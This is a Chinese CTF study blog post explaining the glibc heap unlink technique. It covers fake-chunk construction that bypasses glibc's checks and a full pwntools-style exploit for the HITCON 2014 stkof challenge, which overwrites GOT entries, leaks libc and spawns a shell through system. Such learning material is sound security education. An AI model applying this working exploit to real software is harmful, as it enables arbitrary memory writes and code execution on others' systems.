how2unlink


unlink学习笔记

打pwn的师傅们都知道,堆攻击中有个大名鼎鼎的手法叫做unlink,我作为一个刚入门的新手,自然也想前往膜拜一下,这段时间跟着holk师傅的博文仔细学习了一番,在此记录总结一下整个Unlink流程(holk师傅写的太好了,大家想深入研究细节的话十分推荐阅读原文)。以下内容偏总结性,希望能帮助到和我一样的新手。

一、What

首先不妨假设有三个free掉的chunk分别称为first_chunk、second_chunk、third_chunk

unlink其实是想把second_chunk摘掉,那怎么摘呢?

学过数据结构的都知道,在链表中删除元素无非就是节点间相互指针的变化,unlink所作的操作也同样如此。大体步骤如下:

second_fd = first_prev_addr
second_bk = third_prev_addr
first_bk = third_prev_addr
third_fd = first_prev_addr

unlink前三个堆块的指针情况

unlink后

二、When?

翻看libc源码(这里的版本选的是2.27),发现Unlink原来是在执行free函数时执行了_int_free函数,在_int_free函数中的其中一行调用了unlink宏

#define unlink(AV, P, BK, FD)
#define prev_inuse(p)   ((p)->mchunk_size & PREV_INUSE)

static void _int_free(mstate av, mchunkptr p, int have_lock) {
    free() {
        _int_free() {
            /* consolidate backward */
            if (!prev_inuse(p)) { // 检查prev_inuse位是否为1,位0则空闲块,启动合并操作
                prevsize = p->prev_size; // 1.记录前一个chunk的大小
                size += prevsize; // 2.将自己的大小和前一个要和并的大小相加得到合并后的大小
                p = chunk_at_offset(p, -((long)prevsize)); // 3. p指针向前移动,移动到前一个被合并的chunk
                unlink(av, p, bck, fwd); // 4.调用unlink宏
            }
        }
    }
}

三、Checks

说完了what、when,接下来就要说how了,在这之前我们先来看看,想要偷偷地完成Unlink利用,需要绕过哪些glibc的“守卫”,先那小本本记下,之后有大用处

攻击时修改指针需要绕过的检查:

  1. 检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

  2. 检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

  3. 检查3:检查前后被释放chunk的fd和bk

    • first_chunk的bk是否指向second_chunk的地址

    • third_chunk的fd是否指向second_chunk的地址

四、Conditions

可以看到,我们可以通过堆溢出控制prev_size和size,在关闭了PIE保护,知道堆块指针存放在哪,有堆溢出的情况下,可以利用unlink进行任意地址写

五、Fake chunk!

依然是假设有堆块chunk1,chunk2,chunk3,其中chunk2的data块用于伪造fake_chunk

注意:chunk1,chunk2,chunk3和first_chunk、second_chunk、third_chunk不同

(a).外部环境

  1. chunk2的data块大小至少为

    0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30
    
  2. 首先满足chunk3的prev_size要等于fake_chunk的size,说明前一个chunk是释放状态(满足检查1和检查2)

  3. 想要触发unlink,chunk3的大小必须超过FAST_BIN_MAX且size的P标志位为0

(其实不加上next_prev和next_size也可以,chunk2在申请的时候设置为0x20,chunk3的presize改成0x20,也能绕过。不过既然可以构造堆块,在能控制的同一个堆块里构造数据更好)

(b).内部环境——data_chunk

  1. unlink目标是释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,fake_chunk的prev_size置零就行

  2. fake_chunk包括prevsize、size、fd、bk即可,size的大小为0x20

  3. 证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20

  4. 这里fake_chunk用不到next_size,随便写点something

    fake_chunk  = p64(0) + p64(0x20) + p64(fd) + p64(bk) + p64(0x20) + b"somethin"
    

    payload = fake_chunk + p64(0x30) + p64(0x90)
            = p64(0) + p64(0x20) + p64(fd) + p64(bk) + p64(0x20) + b"somethin" + p64(0x30) + p64(0x90)
    

    之前的设置已经让我们绕过了检查1和检查2 ,那么fd和bk要怎么设置呢?

    为了使fake_chunk合法,就必须满足检查3,所以我们需要把fake_chunk当做标题一中的second_chunk(就是刚开头假设的chunk,忘了的可以往前看看)来看待,也就是说需要设置

    • fake_fd = first_prev_addr
    • fake_bk = third_prev_addr
    • third_fd = fake_prev_addr
    • first_bk = fake_prev_addr

    其中

    • third_fd = fake_prev_addr
    • first_bk = fake_prev_addr

    是已知的,必须满足的条件

    • fake_fd = first_prev_addr
    • fake_bk = third_prev_addr

    是未知的,可以由我们设置

明白了这点,现在的问题就变成了我们如何控制fake_chunk的fd和bk,选择一个合适的”first_chunk”和”third_chunk”来欺骗堆管理器?

继续假设(嘿嘿)我们的题目有一个存放所有申请的堆块的数组称为heap_array(图中0x602140),那么显然数组中按顺序存放了申请的堆块的地址s[1]、s[2]、s[3](忽略数组从0开始索引),其中s[1]、s[2]、s[3]为标题五中一开始假设的堆块chunk1、chunk2、chunk3

接下来就是magic time:

  • 将0x602140作为一个chunk来看,该chunk的fd即为fake_chunk的地址,也就是说,如果我们选择0x602140作为fake_chunk的bk,可以满足fake_bk = third_prev_addr且third_fd = fake_prev_addr的检查,那么0x602140作为一个堆块来看的话,该堆块的fd就是fake_chunk,即它就是我们要找的third_chunk
  • 将0x602140 - 0x8作为一个chunk来看,该chunk的bk即为fake_chunk的地址,也就是说,如果我们选择0x602140 - 0x8作为fake_chunk的fd,可以满足fake_bk = first_prev_addr且first_fd = fake_prev_addr的检查,那么0x602140 - 0x8作为一个堆块来看的话,该堆块的bk就是fake_chunk,即它就是我们要找的first_chunk

好诶!我们终于拼上了payload的最后一块拼图

最终的paload即为

payload = p64(0) + p64(0x20) + p64(heap_array - 0x8) + p64(heap_array) + p64(0x20) + b"somethin" + p64(0x30) + p64(0x90)

区分mark:fd指向的是堆块的prev_size地址;malloc返回的是堆块的data_address,不包括chunk_head

来一起回顾一下,在之前的几个步骤中,我们在chunk2中构造了一个fake_chunk,并且布置好了fake_chunk的内部环境,同时伪造好了与chunk2物理地址相邻的chunk3的外部环境。上述所有的准备,都是为了绕过检查,在free chunk3的时候触发unlink,然后给一个任意地址写

看到这里,相信师傅们一定还有几个关键的疑惑还未得到解答

  • 为什么释放之后就会unlink
  • unlink在攻击中有什么用

为什么free chunk3会触发unlink?

  • fake_chunk和chunk3物理地址相连
  • fake_chunk被伪造为空闲状态
  • fake_chunk为了绕过检查,与first_chunk和third_chunk构成了一个双向链表
  • chunk3在被释放时会向前和fake_chunk合并,这个过程中需要把fake_chunk从双向链表中抢过来

也就是说,执行free chunk3的前提是要让fake_chunk先脱离双向链表(当然这是我们伪造的),这个把fake_chunk从链表中取出的过程就是我们所说的unlink

unlink之后发生了什么?

有标题一中的内容可知,堆块指针会发生如下变化

first_bk = third_prev_addr
third_fd = first_prev_addr

fake_chunk被摘除之后

  1. 首先执行的就是first_bk = third_addr,即first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址:

image-20240302213010525

  1. 接下来执行third_fd = first_addr,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址:

  1. third_chunk的fd与first_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138,即unlink之后s[2]存放的指针就是heap_array-0x8的地址,也就是说,可以通过对s2指针指向的内存进行修改,来任意修改heap_array中的内容,假设被写入的内容是函数的got表,接着就能进一步修改写入heap_array的got表指向的真实地址,达到劫持函数的目的

image-20240302221208427

OK,以上就是unlink的全部流程了,至此,我们已经可以实现通过菜单中的修改函数进行任意地址写,接下来就是泄露,找system,改got表,提权一把梭

八、例题2014 HITCON stkof

1、静态分析

大家都会的简单逆向重命名。详细标注在注释中

sub_400936函数,实现申请内存功能,重命名为add

__int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  (&chunk_array)[++idx] = v2;
  printf("%d\n", (unsigned int)idx);
  return 0LL;
}

sub_4009E8函数,实现编辑功能,重命名为edit

__int64 sub_4009E8()
{
  int i; // eax
  unsigned int idx; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s);
  if ( idx > 0x100000 )                         // chunk的个数不能超过0x100000
    return 0xFFFFFFFFLL;
  if ( !(&chunk_array)[idx] )                   // 判断chunk是否存在
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  n = atoll(s);
  ptr = (&chunk_array)[idx];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 读取1xn个字节
                                                // 有堆溢出
  {
    ptr += i;
    n -= i;
  }
//循环强制读取完1xn个字节;不会被\x00或\n截断
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}

sub_400B07函数,实现释放堆块功能,重命名为delete

__int64 sub_400B07()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v1 = atol(s);
  if ( v1 > 0x100000 )                          // chunk的个数不能超过0x100000
    return 0xFFFFFFFFLL;
  if ( !(&chunk_array)[v1] )                    // 判断chunk是否存在
    return 0xFFFFFFFFLL;
  free((&chunk_array)[v1]);
  (&chunk_array)[v1] = 0LL;
  return 0LL;
}

sub_400BA9函数,好像没用

其中需要注意的有::s变量名,查看大佬博客可知这是ida在编译伪代码的时候出现了一些问题,这个s和其他变量名重复了,重命名位chunk_array即可

2、动态调试

根据之前unlink的学习,我们需要构造出fake_chunk

不妨先申请三个0x20的堆块,调试可以看到,除了我们所申请的三个堆块,多出的两个堆块,这是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候

这对于我们的漏洞利用有什么影响呢

显然,申请的第一个chunk已经被两个io_chunk包围了,所以不在考虑使用chunk1,而是由chunk2堆溢出至chunk3,在chunk2中伪造fake_chunk

unlink的具体分析,和文章前面部分类似,不再赘述(事实上,前面的手法就是通过这一题来写的hhhh)

通过unlink我们能得到0x0602138地址的任意写,通过edit布置chunnk_array上的数据为

此时,再次修改s[0]的话其实修改的是free()函数的真实地址,再次修改s[1]的话其实修改的是puts()函数的真实地址,再次修改s[3]的话其实修改的是atoi()函数的真实地址

详细过程请见exp以及注释

exp

from Excalibur2 import *

setterminal('tmux','new-window')
contextset()
proc('./stkof')
el('stkof')
lib('libc-2.23.so')

def add(size):
    sl(b'1')
    sl(str(size))
    ru(b'OK\n')

def edit(idx,size,content) :
    sl(b'2')
    sl(str(idx))
    sl(str(size))
    sd(content)
    ru(b'OK\n')

def free(idx):
    sl(b'3')
    sl(str(idx))
    ru(b'OK\n')

def show(idx):
    sl(b'4')
    sl(str(idx))
    ru(b'OK\n')

debug('b *0x400CAC\nb *0x400CBB\nb *0x400CCA\nb *0x400CD9\n')

add(0x100) # chunk1
add(0x30) # chunk2
add(0x80) # chunk3

# fake_chunk
heap_array = 0x602140
payload = p64(0) + p64(0x20) + p64(heap_array - 0x8) + p64(heap_array) + p64(0x20) + b"somethin" + p64(0x30) + p64(0x90)
edit(2,len(payload),payload)

# unlink
free(3)
pay2 = b'a'*8+p64(got('free'))+p64(got('puts'))+p64(got('atoi'))
edit(2,len(pay2),pay2)

# leak libc
pay3 = p64(plt('puts'))
edit(0,len(pay3),pay3) # edit free's got to puts's plt
sl(b'3')
sl(str(1)) # "free"掉第1个堆块,相当于puts出puts的真实地址
puts_addr = get_addr64() # 这里要注意不要用free函数,不然返回的数据被free函数里接受掉了,ger_addr收不到地址

# binsh system
binsh,system = searchlibc('puts',puts_addr,1)
pay4 = p64(system)
edit(2,len(pay4),pay4) # edit atoi's got to system addr

# get shell
sl(b'/bin/sh\x00')

ia()

参考资料

https://blog.csdn.net/qq_41202237/article/details/108481889

有部分图片出自参考资料


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录